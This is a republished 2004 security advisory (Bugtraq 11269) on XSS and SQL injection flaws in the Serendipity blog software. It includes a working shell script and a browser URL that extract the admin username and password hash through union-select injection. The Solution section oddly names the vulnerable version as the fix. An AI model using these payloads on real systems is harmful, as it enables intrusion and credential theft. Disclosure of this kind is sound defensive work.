Serendipity Multiple Input Validation Vulnerabilities

BID:11269

Info

Serendipity Multiple Input Validation Vulnerabilities

Bugtraq ID: 11269
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 28 2004 12:00AM
Updated: Sep 28 2004 12:00AM
Credit: Discovery of these vulnerabilities is credited to [email protected].
Vulnerable: S9Y Serendipity 0.7 beta1
Not Vulnerable: S9Y Serendipity 0.7 beta3

Discussion

Serendipity Multiple Input Validation Vulnerabilities

It is reported that Serendipity is susceptible to multiple cross-site scripting and SQL injection vulnerabilities.

The cross-site scripting issues present themselves in certain parameters of the 'Comment.php' script. An attacker can exploit these issues by creating a malicious link containing HTML and script code and send this link to a vulnerable user.

SQL injection issues exist in the application as well. These issues affect the parameters of the 'exit.php' and 'comment.php' scripts. Due to this, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries.

These vulnerabilities were reported in Serendipity 0.7-beta1. Other versions may also be affected.

Exploit / POC

Serendipity Multiple Input Validation Vulnerabilities

The following examples are available:

Usage: ./ser_sqli_poc.sh URL_to_Serendipity_Weblog

ser_sqli_poc.sh
---------8<-----------8<-------------
#!/bin/sh

echo -n "Username: "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20username%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
echo -n "MD5(password): "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20password%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
---------8<-----------8<-------------



Proof of Concept 2
------------------

Copy&Paste this to your browser and edit URL_to_Serendipity_Weblog.

http://www.example.com/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20f
rom%20serendipity_authors%20where%20authorid=1%20/*

Solution / Fix

Serendipity Multiple Input Validation Vulnerabilities

Solution:
The vendor has released an update to address these issues:


S9Y Serendipity 0.7 beta1

References

Serendipity Multiple Input Validation Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report